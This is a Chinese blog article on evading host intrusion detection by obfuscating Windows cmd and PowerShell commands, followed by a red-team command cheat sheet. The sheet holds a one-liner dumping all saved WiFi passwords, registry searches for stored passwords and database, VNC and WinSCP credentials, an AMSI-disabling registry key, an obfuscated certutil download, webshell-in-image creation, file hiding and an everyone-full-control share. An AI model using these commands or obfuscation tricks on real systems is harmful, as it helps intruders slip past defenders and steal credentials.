0

0

浅谈命令混淆

星夢妙者

星夢妙者

发布时间:2025-07-19 08:20:33

|

447人浏览过

|

来源于php中文网

原创

前言

之前一位朋友提到,客服的hids设备执行whoami命令时会被检测到,无论是使用wh"o"aM^i还是cmd /c ",;((w^h^o^a^M^i))",都无法逃避检测,于是向我求助。既然提到了这个问题,我在这里简单总结一下我自己的几种方法,但会的方法相对较少,后续会补充几个常用的cmd/powershell命令。

技巧(1)特殊符号/大小写

我们可以利用"双引号,^尖角号,括号,逗号,分号等符号来绕过一些常规检测。

浅谈命令混淆

也可以使用一些非主流的特殊字符串,例如certutil /⸿split -ur₏lcache -f https://www.php.cn/link/1171d78d0d618b225dfa50bc2ebb2399 axgg.txt

浅谈命令混淆

(2)环境变量

当我们获取一台机器后,可以先用set命令查看有哪些环境变量。

浅谈命令混淆

例如,%comspec:~3,1%hoa%comspec:~21,1%i,使用环境变量中的字母替换了w和m。

浅谈命令混淆

稍微解释一下,这里使用环境变量截取第三位和第二十一位的w和m来绕过检测。当然,我们也可以自己设置环境变量来达到绕过目的,例如set a=cmd /c whoami%a%。环境变量也可以与我们的特殊符号结合使用,"双引号,^尖角号,括号,逗号,分号等组合在一起,达到同样的效果,例如cmd /c “ set a1=ser&& set a2=ne&& set a3=t u&&call echo %a2%%a3%%a1%”^c^M^D, , , , /^c", ,(, , , , , (s^et ^ w^3=i^pco) , )&& (S^Et ^ eH^P=n^fig)& , , C^aLl, sE^t GyHE=%w^3%%eH^P%& , , %LoCaLAPpdata:~ -3,+1%%pRoGramw6432:~9,1%d, ,/^R, , %Gy^HE%"

浅谈命令混淆

(3)for循环

单独使用for循环可能效果有限,但可以尝试。

for /f "tokens=4 delims=\" %f in ("c:\windows\system32\whoami\") do %f

这里,delims是以\分割,tokens是第几次分割,我们的第四次分割就是whoami,然后打印。

浅谈命令混淆

(4)利用powershell

可以利用powershell的base64编码。

浅谈命令混淆

当然,还可以尝试fuzzing低版本的powershell,例如powershell -version 3/2/1。利用windows的api,例如Get-WmiObject -Class Win32_UserAccount,也可以使用前面的特殊符号和环境变量来绕过检测。

浅谈命令混淆

利用注册表,例如dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name。

浅谈命令混淆

既然提到了powershell,这里简单提一下powershell的混淆思路,我直接截图,比较简陋。

Etna
Etna

Etna:用文字做AI世界的造物主

下载

浅谈命令混淆

(5)运用工具

Dosfuscation

Invoke-DOSfuscation //启动

TUTORIAL //开启模块

SET COMMAND whoami //加密你想执行的命令

浅谈命令混淆

关于cmd/powershell平时会用到的一些命令

(1)主机信息

代码语言:javascript

代码运行次数:0

运行

复制

qwinsta                                        //查看在线用户
wmic logicaldisk where DriveType=3 get DeviceID                 //查看系统的盘符
wmic useraccount get name,sid                                            //查看所有用户的sid
cacls c:\                                             //查看c盘的权限配额
cacls c:\windows\ma.exe                 //查看ma.exe的权限配置
icacls C:\Windows                            //查看文件的ACL情况
nbtstat -A 127.0.0.1                         //查看其他主机的bios名
Get-WmiObject -class win32_product |Select-Object -Property name,version:收集主机的软件版本信息
(Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.149.135").UsernameHint     //本机哪个用户登陆了此IP
Get-WinEvent -FilterHashtable @{logname="Application";}      查看application日志
Get-CimInstance Win32_DCOMApplication      //查看DCOM文件

(2)横向信息

代码语言:javascript

代码运行次数:0

运行

复制

netsh wlan show profile                 //查看连结过的wifi
netsh wlan show profile WiFi-name key=clear 获取对应 wifi 的密码
ie 代理                //对应wifi的密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do  @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear            //所有wifi密码
for /l %i in (1,1,255) do @ping 172.16.0.%i -w 1 -n 1 | find “TTL=”                                    //windows自带的网段扫描
for /l %a in (0,1,2) do cmd /c "choice /t 7 /d y /n >nul" & for /l %b in (1,1,255) do  start cmd /c  "ping 172.29.%a.%b -l 1 -n 1 -i 1 >172.29.%a.%b.txt"        //多线程版
findstr  /s /m "password" *.*                                                  //查找当前目录的子目录的所有含有password的文件夹
dir c:\a.txt  /s /b                                                                  //查找c盘的a.txt        
Get-Content (Get-PSReadlineOption).HistorySavePath                                //powershell命令历史记录,如果命令用不起,可以查看powershell的txt
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
%appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
注册表HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers                     这个为当前用户的mstsc的记录,username为用户名
HKEY_CURRENT_USER\Software\Microsoft\Windows Script\Settings\AmsiEnable            禁用AMSI(需要高权限)
HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\        MYSQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\    MariaDB
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\    MongoDB
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\        Microsoft  SQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\        Oracle
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\        PostgreSQL
HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\        SQLite
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver        RealVNC
HKEY_CURRENT_USER\Software\TightVNC\Server  Value            //TightVNC
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4        TigerVNC
HKCU\Software\Martin  Prikryl\WinSCP 2\Sessions        WinSCP
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /s            //查看桌面目录
reg query 计算机\HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs            //查看浏览记录
查找本机所有有关密码的字段
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s

浅谈命令混淆

代码语言:javascript

代码运行次数:0

运行

复制

copy x.jpg/b+12.php 3.jpg                             //制作一句话
iexpress                                                            //windows自带的解压命令
makecab.exe                                                   //windows自带的压缩命令
makecab 1.doc 1.zip                                    //压缩成啥看自己,zip,rar,cab
expand 1.zip 1.doc                                        //解压命令
dir /b >>name.txt                                        //先把要解压的多个文件名写入txt
makecab /f name.txt /d maxdisksize=1024000                //然后压缩
expand 1.cab -f:* c:\test\                                                //然后解压
set http_proxy=http://127.0.0.1:1080                             //给cmd代理
secpol.msc                                                  //打开本地安全策略
taskkill /pid 1080 /f                                   //关闭进程
copy *.txt 1.txt      type 1.txt                       //将该目录下的所有txt复制到1.txt,然后查看1.txt
mstsc /admin /v:ip           mstsc /console /v:ip                        //远程连接
certutil.exe -hashfile 1.txt                                            //计算文件hash
attrib C:\test.exe +s +h                                            //隐藏exe
>>b.txt set/p="123" >追加下一个字符串自动换行,绕过/n的限制
net share everyone=C:\Windows /grant:everyone,full         //开启共享
echo 123 > axgg::$INDEX_ALLOCATION                                  //文件流创建文件
rd axgg::$INDEX_ALLOCATION                                                //删除改文件

后记

若文章有错误亦或者遗漏的技巧,还望各位师傅斧正和补充。

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
js获取数组长度的方法
js获取数组长度的方法

在js中,可以利用array对象的length属性来获取数组长度,该属性可设置或返回数组中元素的数目,只需要使用“array.length”语句即可返回表示数组对象的元素个数的数值,也就是长度值。php中文网还提供JavaScript数组的相关下载、相关课程等内容,供大家免费下载使用。

559

2023.06.20

js刷新当前页面
js刷新当前页面

js刷新当前页面的方法:1、reload方法,该方法强迫浏览器刷新当前页面,语法为“location.reload([bForceGet]) ”;2、replace方法,该方法通过指定URL替换当前缓存在历史里(客户端)的项目,因此当使用replace方法之后,不能通过“前进”和“后退”来访问已经被替换的URL,语法为“location.replace(URL) ”。php中文网为大家带来了js刷新当前页面的相关知识、以及相关文章等内容

438

2023.07.04

js四舍五入
js四舍五入

js四舍五入的方法:1、tofixed方法,可把 Number 四舍五入为指定小数位数的数字;2、round() 方法,可把一个数字舍入为最接近的整数。php中文网为大家带来了js四舍五入的相关知识、以及相关文章等内容

776

2023.07.04

js删除节点的方法
js删除节点的方法

js删除节点的方法有:1、removeChild()方法,用于从父节点中移除指定的子节点,它需要两个参数,第一个参数是要删除的子节点,第二个参数是父节点;2、parentNode.removeChild()方法,可以直接通过父节点调用来删除子节点;3、remove()方法,可以直接删除节点,而无需指定父节点;4、innerHTML属性,用于删除节点的内容。

481

2023.09.01

JavaScript转义字符
JavaScript转义字符

JavaScript中的转义字符是反斜杠和引号,可以在字符串中表示特殊字符或改变字符的含义。本专题为大家提供转义字符相关的文章、下载、课程内容,供大家免费下载体验。

574

2023.09.04

js生成随机数的方法
js生成随机数的方法

js生成随机数的方法有:1、使用random函数生成0-1之间的随机数;2、使用random函数和特定范围来生成随机整数;3、使用random函数和round函数生成0-99之间的随机整数;4、使用random函数和其他函数生成更复杂的随机数;5、使用random函数和其他函数生成范围内的随机小数;6、使用random函数和其他函数生成范围内的随机整数或小数。

1091

2023.09.04

如何启用JavaScript
如何启用JavaScript

JavaScript启用方法有内联脚本、内部脚本、外部脚本和异步加载。详细介绍:1、内联脚本是将JavaScript代码直接嵌入到HTML标签中;2、内部脚本是将JavaScript代码放置在HTML文件的`<script>`标签中;3、外部脚本是将JavaScript代码放置在一个独立的文件;4、外部脚本是将JavaScript代码放置在一个独立的文件。

659

2023.09.12

Js中Symbol类详解
Js中Symbol类详解

javascript中的Symbol数据类型是一种基本数据类型,用于表示独一无二的值。Symbol的特点:1、独一无二,每个Symbol值都是唯一的,不会与其他任何值相等;2、不可变性,Symbol值一旦创建,就不能修改或者重新赋值;3、隐藏性,Symbol值不会被隐式转换为其他类型;4、无法枚举,Symbol值作为对象的属性名时,默认是不可枚举的。

554

2023.09.20

拼多多赚钱的5种方法 拼多多赚钱的5种方法
拼多多赚钱的5种方法 拼多多赚钱的5种方法

在拼多多上赚钱主要可以通过无货源模式一件代发、精细化运营特色店铺、参与官方高流量活动、利用拼团机制社交裂变,以及成为多多进宝推广员这5种方法实现。核心策略在于通过低成本、高效率的供应链管理与营销,利用平台社交电商红利实现盈利。

31

2026.01.26

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
MySQL 教程
MySQL 教程

共48课时 | 1.9万人学习

MySQL 初学入门(mosh老师)
MySQL 初学入门(mosh老师)

共3课时 | 0.3万人学习

简单聊聊mysql8与网络通信
简单聊聊mysql8与网络通信

共1课时 | 811人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号